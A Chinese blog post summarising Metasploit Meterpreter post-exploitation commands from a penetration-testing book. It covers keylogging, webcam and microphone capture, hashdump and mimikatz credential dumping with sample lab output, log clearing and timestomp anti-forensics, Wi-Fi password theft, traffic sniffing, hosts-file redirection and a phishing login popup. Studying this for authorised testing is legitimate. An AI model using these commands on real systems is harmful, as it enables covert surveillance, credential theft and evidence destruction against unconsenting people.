Metasploit 扩展功能
推荐阅读原书《精通Metasploit渗透测试》(第2版)
一、基本后渗透命令
1、帮助菜单
输入help或者?
2、后台命令
将当前执行的Meterpreter会话切换到后台使用background命令
当需要将一个会话切换到前台的时候,就可以使用session命令加上该会话的会话标识符,命令格式为sessions –i id
3、机器 ID 和 UUID 命令
(1)输入machine_id命令来获取机器ID
(2)输入uuid命令就可以查看主机的UUID
4、通信信道的操作
使用channel –1命令列出了所有可用的通信信道,然后使用channel –r [channel-id] 命令选择了读取数据的通信信道。信道子系统允许通过所有的逻辑信道进行读取、列举、写入等操作,这些逻辑信道都是通过Meterpreter命令行实现的通信子信道
5、获取用户名和进程信息
通过输入getuid命令,我们得知系统的用户名为mm。通过在当前Meterpreter会话中输入getpid命令,可以查看当前进程ID。现在使用ps命令查看当前Meterpreter会话所依附进程的详细信息
现在所依附的进程来自一个保存在系统临时文件夹中的文件
6、获取系统信息
sysinfo
7、网络命令
(1)ipconfig/ifconfig、 arp和netstat命令来查看网络信息
(2)netstat命令显示当前所有正在使用端口以及运行在这些端口上的进程信息
(3)arp命令可以显示所有和被渗透主机建立过连接的IP地址
8、文件操作命令
(1)pwd命令,可以查看当前的工作目录
(2)cd命令来浏览目标文件夹,使用mkdir来创建一个文件夹
(3)使用Meterpreter中的upload命令就可以将文件上传到目标系统
(4)使用edit命令加文件名实现对所有文件的修改
(5)使用cat命令查看文件的内容
(6)使用ls命令可以列出指定目录中的所有文件
(7)使用rmdir命令可以从目标系统上删除指定的文件夹,使用rm命令可以删除指定的文件
(8)使用download命令可以从目标下载文件
8、桌面命令
enumdesktops命令列出了所有可以访问的桌面
getdesktop列出了当前桌面的相关信息
9、截图和摄像头列举
(1)使用screenshot命令获取当前桌面的快照
(2)使用webcam_list命令就可以将目标上的所有摄像头列举出来
(3)使用webcam_stream命令使用摄像头录制实时视频
输入了这个命令之后,就在浏览器中打开了一个网络摄像头
(4)使用webcam_snap命令拍摄一张照片
(5)使用record_mic命令的同时加上-d作为参数来指定录音的长度,参数的单位是秒
(6)Meterpreter的另一个强大功能是可以计算出目标系统的闲置时间,以此推算用户的使用时间表,从而在用户不怎么使用计算机的时间段发起攻击。这个功能可以使用idletime命令实现
(7)keyscan_start命令就可以启动键盘监听模块。
(8)使用keyscan_dump命令来导出键盘记录
二、高级后渗透命令
1、迁移到更安全的进程上
(1)使用ps命令查看迁移目标进程的PID
(2)使用migrate命令来完成迁移
2、获取系统级管理权限
输入getsystem命令就可以获取系统级管理权限
3、使用 hashdump 获取密码的哈希值
找到了密码的哈希值之后,就可以对目标系统发起一次pass-the-hash攻击
4、使用 timestomp 修改文件的访问时间、修改时间和创建时间
使用参数-z将这个时间修改为如上图所示的1999-11-26 15:15:25
使用参数-b将一个文件的所有时间信息清空
三、其他后渗透模块
1、使用 Metasploit 收集无线 SSID 信息
使用wlan_bss_list模块可以轻松发现目标系统附近的无线网络
2、使用 Metasploit 收集 Wi-Fi 密码
使用wlan_profile模块可以收集目标系统上保存的Wi-Fi登录凭证
在上图的<name>标签中可以找到网络的名字,在<keyMaterial>中可以找到登录网络的密码
3、获取应用程序列表
使用get_application_list模块获取应用程序列表
4、获取 Skype 密码
假设我们发现目标系统上运行着Skype,用Metasploit中的Skype模块就可以获取它的密码
5、获取 USB 使用历史信息
利用这个模块可以轻松地伪造USB描述符和硬件ID
有关伪造USB描述符和绕过端点保护的更多信息,请访问
http://www.slideshare.net/the_netlocksmith/defcon-212-hacking-using-usb-devices
6、使用 Metasploit 查找文件
使用search命令可以列出所有文件的详细信息
7、清除目标系统上的日志
(1)使用clearev命令清除目标系统上的所有日志文件
(2)使用event_manager清除日志
四、Metasploit 中的高级扩展功能
1、使用 mimikatz 查找明文密码
可以直接从lsass服务获取Windows中状态为活跃的的账号的明文密码
示例
meterpreter > load mimikatz Loading extension mimikatz...Success. meterpreter > kerberos [!] Not currently running as SYSTEM [*] Attempting to getprivs ... [+] Got SeDebugPrivilege. [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 0;50939 NTLM 0;999 NTLM WORKGROUP DH-CA8822AB9589$ 0;76827 NTLM DH-CA8822AB9589 Administrator 123456 meterpreter >
2、使用 Metasploit 进行流量嗅探
(1)列出目标主机上的所有网络接口
meterpreter > load sniffer Loading extension sniffer...Success. meterpreter > sniffer_interfaces 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) meterpreter >
(2)在无线网络接口上启动嗅探功能
meterpreter > sniffer_start 1 1000 [*] Capture started on interface 1 (1000 packet buffer)
参数说明:1表示网卡id,1000是缓冲区大小
(3)使用sniffer_dump命令便可以成功下载pcap文件
meterpreter > sniffer_dump 1 2.cap [*] Flushing packet capture buffer for interface 1... [*] Flushed 4 packets (940 bytes) [*] Downloaded 100% (940/940)... [*] Download completed, converting to PCAP... [*] PCAP file written to 2.cap
(4)在Wireshark中查看数据包
root@kali:~# ls 2.cap Desktop Downloads Pictures Templates Documents Music Public Videos root@kali:~# wireshark 2.cap
3、使用 Metasploit 对 host 文件进行注入
将指定域名的条目添加到目标主机的host文件中,前提已拿到meterpreter 控制。
示例
(1)Kali
msf5 > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DH-CA8822AB9589\Administrator @ DH-CA8822AB9589 10.10.10.155:4444 -> 10.10.10.131:1061 (10.10.10.131) msf5 > use post/windows/manage/inject_host msf5 post(windows/manage/inject_host) > show options Module options (post/windows/manage/inject_host): Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN yes Domain name for host file manipulation. IP yes IP address to point domain name to. SESSION yes The session to run this module on. msf5 post(windows/manage/inject_host) > set domain www.baidu.com domain => www.baidu.com msf5 post(windows/manage/inject_host) > set ip 10.10.10.155 ip => 10.10.10.155 msf5 post(windows/manage/inject_host) > set session 1 session => 1 msf5 post(windows/manage/inject_host) > exploit [*] Inserting hosts file entry pointing www.baidu.com to 10.10.10.155.. [+] Done! [*] Post module execution completed msf5 post(windows/manage/inject_host) >
(2)靶机访问百度
4、登录密码的钓鱼窗口
XP无法安装PowerShell,不可用XP实践
弹出窗口是强制性的,只有当用户填写了用户名和密码之后系统才能正常工作
五、参考文献
《精通Metasploit渗透测试》
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?